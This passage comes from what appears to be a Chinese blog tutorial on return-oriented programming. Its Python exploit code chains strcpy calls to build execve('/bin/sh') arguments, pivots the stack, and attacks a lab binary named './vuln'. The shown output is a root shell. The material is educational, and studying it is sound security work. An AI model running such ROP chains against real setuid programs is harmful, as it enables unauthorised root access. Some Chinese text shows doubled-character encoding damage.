buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct1)
#Below stack frames are for strcpy (to copy execve_arg2  to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct1)
#Below stack frames are for strcpy (to copy execve_arg3  to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
#Below stack frame is for strcpy (to copy execve path "/bin/sh" to custom stack @ loc 0x804ac60)
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct1)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct2)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct3)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct4)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct1)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct5)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct6)
#Below stack frame is for strcpy (to copy execve argv[0] (0x804ac60) to custom stack @ loc 0x804ac68)
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct4)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct3)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct2)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct1)
#Below stack frame is for strcpy (to copy execve argv[1] (0x0) to custom stack @ loc 0x804ac6c)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
#Stack Pivot
buf += conv(pr_addr)
buf += conv(cust_base_esp)
buf += conv(lr_addr)

print "Calling vulnerable program"
call(["./vuln", buf])

執(zhí)行上述利用代碼,我們會(huì)獲得 root shell(在下面展示):

$ python exp.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???????????????????????????????????????@???0???????d????e?U???f?0???g?C???h????i?U???j?0???k?C???l?`???m?`???n?`???o?`???p?????q???r?0???s?C???t?????u???v?0???w?C???x?`???y?`???z?`???{?`???`?T???a?W???b?V???c?^???d?T???e?b???f?????h?????i???j?0???k?C???l?`???m?`???n?`???o?`???`?i?
Len:1008
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

參考

PAYLOAD ALREADY INSIDE: DATA REUSE FOR ROP EXPLOITS

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容